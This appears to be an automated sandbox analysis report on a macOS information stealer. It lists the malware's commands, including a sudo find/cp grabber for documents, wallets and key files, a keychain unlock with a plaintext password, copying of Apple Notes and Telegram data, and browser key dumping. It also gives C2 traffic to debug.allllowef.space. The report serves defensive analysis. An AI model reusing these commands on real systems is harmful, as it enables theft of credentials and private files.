Source: /bin/bash (PID: 1825)	Sudo command uses stdin password mode: /usr/bin/sudo sudo -S find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1831)	Password piped to sudo: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1831)	Sudo command uses stdin password mode: /bin/sh sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1831)	Password piped to sudo: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1831)	Sudo command uses stdin password mode: /bin/bash sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/bash (PID: 1834)	Sudo command uses stdin password mode: /usr/bin/sudo sudo -S find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1840)	Password piped to sudo: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1840)	Sudo command uses stdin password mode: /bin/sh sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1840)	Password piped to sudo: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1840)	Sudo command uses stdin password mode: /bin/bash sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/bash (PID: 1842)	Sudo command uses stdin password mode: /usr/bin/sudo sudo -S find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1847)	Keychain unlocked with plaintext password: /usr/bin/security security unlock-keychain -p 123456 /Users/bernardo/Library/Keychains/login.keychain-db	Jump to behavior

Uses shell commands to collect Apple Notes databases

Source: /usr/bin/osascript (PID: 1745)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'	Jump to behavior
Source: /bin/sh (PID: 1745)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'	Jump to behavior
Source: /bin/bash (PID: 1746)	Apple Notes database command: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite	Jump to behavior
Source: /usr/bin/osascript (PID: 1747)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'	Jump to behavior
Source: /bin/sh (PID: 1747)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'	Jump to behavior
Source: /bin/bash (PID: 1748)	Apple Notes database command: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm	Jump to behavior
Source: /usr/bin/osascript (PID: 1749)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1749)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/bash (PID: 1750)	Apple Notes database command: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1801)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1801)	Apple Notes database command: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null	Jump to behavior
Source: /bin/bash (PID: 1802)	Apple Notes database command: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1807)	Apple Notes database command: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1807)	Apple Notes database command: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/bash (PID: 1809)	Apple Notes database command: sudo -S cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal	Jump to behavior
Source: /usr/bin/sudo (PID: 1810)	Apple Notes database command: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal	Jump to behavior

Uses shell commands to collect Telegram Desktop tdata files

Source: /usr/bin/osascript (PID: 1752)	Telegram tdata collection command: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /bin/sh (PID: 1752)	Telegram tdata collection command: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'	Jump to behavior
Source: /bin/bash (PID: 1752)	Telegram tdata collection command: cp /Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas /Users/bernardo/tempFolder-38577473/Telegram/	Jump to behavior

Uses sudo find to copy documents, wallets, keys, and database files

Source: /private/tmp/syshelper_38577473 (PID: 1823)	Bulk file-grabber command: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1823)	Bulk file-grabber command: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/bash (PID: 1825)	Bulk file-grabber command: sudo -S find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /usr/bin/sudo (PID: 1826)	Bulk file-grabber command: find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1831)	Bulk file-grabber command: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1831)	Bulk file-grabber command: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/bash (PID: 1834)	Bulk file-grabber command: sudo -S find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /usr/bin/sudo (PID: 1835)	Bulk file-grabber command: find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1840)	Bulk file-grabber command: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1840)	Bulk file-grabber command: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/bash (PID: 1842)	Bulk file-grabber command: sudo -S find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior
Source: /usr/bin/sudo (PID: 1843)	Bulk file-grabber command: find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber	Jump to behavior

Writes browser Safe Storage key files to a hidden cache

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.chrome_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.chromium_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.brave_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.opera_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.vivaldi_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.edge_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.yandex_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.arc_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.coccoc_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.chrome_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.chromium_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.brave_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.opera_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.vivaldi_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.edge_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.yandex_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.arc_key	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file: /Users/bernardo/.local/share/.stream/.coccoc_key	Jump to behavior

Writes files containing the user's password

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Default password detected: /Users/bernardo/.pwd			Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Default password detected: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/pwd			Jump to dropped file

Writes files with content indentifying the system (indicating system fingerprinting)

Source: /private/tmp/syshelper_38577473 (PID: 1688)

System info file written: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/system_info.json

Jump to dropped file

Writes macOS key chain files to disk (indicating credential exfiltration)

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Keychain file written: /private/var/folders/5q/r4wndrpn3gz99_kjp4fxs_9h0000gn/C/mds/mdsObject.db			Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Keychain file written: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Passwords/login.keychain-db			Jump to dropped file

Source: /private/tmp/syshelper_38577473 (PID: 1688)

Found path related to 'Binance': /Users/bernardo/Library/Application Support/Binance/app-store.json

Source: /private/tmp/syshelper_38577473 (PID: 1847)

Security executable: /usr/bin/security security unlock-keychain -p 123456 /Users/bernardo/Library/Keychains/login.keychain-db

Jump to behavior

Source: /bin/bash (PID: 1771)	System_profiler executable: /usr/sbin/system_profiler system_profiler SPHardwareDataType	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 1773)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full	Jump to behavior
Source: /bin/bash (PID: 1786)	System_profiler executable: /usr/sbin/system_profiler system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 1787)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel full	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 1789)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 1790)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPDisplaysDataType -detailLevel full	Jump to behavior
Source: /bin/bash (PID: 1816)	System_profiler executable: /usr/sbin/system_profiler system_profiler SPHardwareDataType	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 1818)	System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full	Jump to behavior

Source: /bin/bash (PID: 1796)

Ls command executed: ls -1 /Applications

Jump to behavior

Remote Access Functionality

Yara detected HYBRID Stealer

Source: Yara match

File source: E9CX86U4Q7, type: SAMPLE

Creates or writes hidden bot and C2 state files

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.local/share/.stream/.bot_id	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.botid	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.chost	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.local/share/.stream/.bot_id	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.botid	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.chost	Jump to behavior

Dumps hidden bot and C2 state files

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.local/share/.stream/.bot_id	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden bot state file: /Users/bernardo/.botid	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Hidden C2 URL file: /Users/bernardo/.chost -> https://debug.allllowef.space/api/bot/actions	Jump to dropped file

Uploads stealer collection data with password and browser key headers

Source: global traffic

Uses bot registration and action polling HTTP endpoints

Source: global traffic	HTTP bot protocol: POST /api/bot/actions/api/bot/join HTTP/1.1content-type: application/jsonx-api-key: 86770e8759abf2dad9ae85f5e11a25e9content-length: 128accept: /host: debug.allllowef.space
Source: global traffic	HTTP bot protocol: POST /api/bot/actions/api/bot/join HTTP/1.1content-type: application/jsonx-api-key: 86770e8759abf2dad9ae85f5e11a25e9content-length: 128accept: /host: debug.allllowef.space
Source: global traffic	HTTP bot protocol: POST /api/bot/actions/api/bot/join HTTP/1.1content-type: application/jsonx-api-key: 86770e8759abf2dad9ae85f5e11a25e9content-length: 128accept: /host: debug.allllowef.space
Source: global traffic	HTTP bot protocol: POST /api/bot/actions/api/bot/join HTTP/1.1content-type: application/jsonx-api-key: 86770e8759abf2dad9ae85f5e11a25e9content-length: 128accept: /host: debug.allllowef.space
Source: global traffic	HTTP bot protocol: GET /api/bot/actions/api/bot/actions?build_id=pp&bot_id=7af55c2e372d HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9accept: /host: debug.allllowef.space
Source: global traffic	HTTP bot protocol: GET /api/bot/actions/api/bot/actions?build_id=pp&bot_id=7af55c2e372d HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9accept: /host: debug.allllowef.space

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Scripting	11 Sudo and Sudo Caching	1 Disable or Modify Tools	1 GUI Input Capture	1 Account Discovery	Remote Services	1 Video Capture	3 Web Service	1 Exfiltration Over C2 Channel	1 Resource Hijacking
Credentials	Domains	Default Accounts	3 AppleScript	1 Launch Agent	1 Launch Agent	1 Indicator Blocking	1 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	6 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Sudo and Sudo Caching	3 Unsecured Credentials	22 System Information Discovery	SMB/Windows Admin Shares	1 GUI Input Capture	2 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	1 Steal Web Session Cookie	1 Security Software Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Masquerading	3 Credentials from Password Stores	11 System Network Configuration Discovery	SSH	2 Archive via Utility	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Hidden Files and Directories	41 Keychain	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	3 Credentials from Web Browsers	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
debug.allllowef.space	138.124.70.84	true	true	unknown
weather-edge.fe2.apple-dns.net	17.248.209.46	true	false	high
free.freeipapi.com	188.114.96.3	true	false	unknown
freeipapi.com	188.114.97.3	true	false	high
api.ipify.org	104.26.12.205	true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	Web Data.63.dr	false	high
https://duckduckgo.com/ac/?q=	Web Data.63.dr	false	high
https://www.ecosia.org/newtab/v10	Web Data.63.dr	false	high
https://docs.rs/getrandom#nodejs-es-module-supportoffsettoo_many_continuationsnot	E9CX86U4Q7	false	high
https://debug.allllowef.space/api/bot/actions	.chost.63.dr	true	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Web Data.63.dr	false	high
https://AcceptedConflictHTTP/0.9HTTP/2.0HTTP/3.0ShutdownTooLargeInternalHTTP/1.0HTTP/1.1NO_PROXYno_p	E9CX86U4Q7	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.63.dr	false	high
https://ac.ecosia.org?q=	Web Data.63.dr	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Web Data.63.dr	false	high
https://duckduckgo.com/chrome_newtabv10E	Web Data.63.dr	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Web Data.63.dr	false	high
https://gemini.google.com/app?q=	Web Data.63.dr	false	high
https://login.microsoftonline.com/consumers	login.keychain-db.63.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	Canada	13335	CLOUDFLARENET-CloudflareIncUS	false
188.114.97.3	freeipapi.com	Canada	13335	CLOUDFLARENET-CloudflareIncUS	false
17.253.150.10	unknown	United States	714	APPLE-ENGINEERING-AppleIncUS	false
17.248.209.54	unknown	Germany	714	APPLE-ENGINEERING-AppleIncUS	false
17.253.145.10	unknown	United States	714	APPLE-ENGINEERING-AppleIncUS	false
188.114.96.3	free.freeipapi.com	Canada	13335	CLOUDFLARENET-CloudflareIncUS	false
138.124.70.84	debug.allllowef.space	France	41745	FORTIS-ASHostingservicesRU	true

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	mpclient.dll.dll	Get hash	malicious	Unknown	Browse	api4.ipify.org/
	mpclient.dll	Get hash	malicious	Unknown	Browse	api4.ipify.org/
	92965d16cbf235f131ca72f8d698826de2a3e4eeb2df4.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	agent_linux_ppc64.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	agent_windows_amd64.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
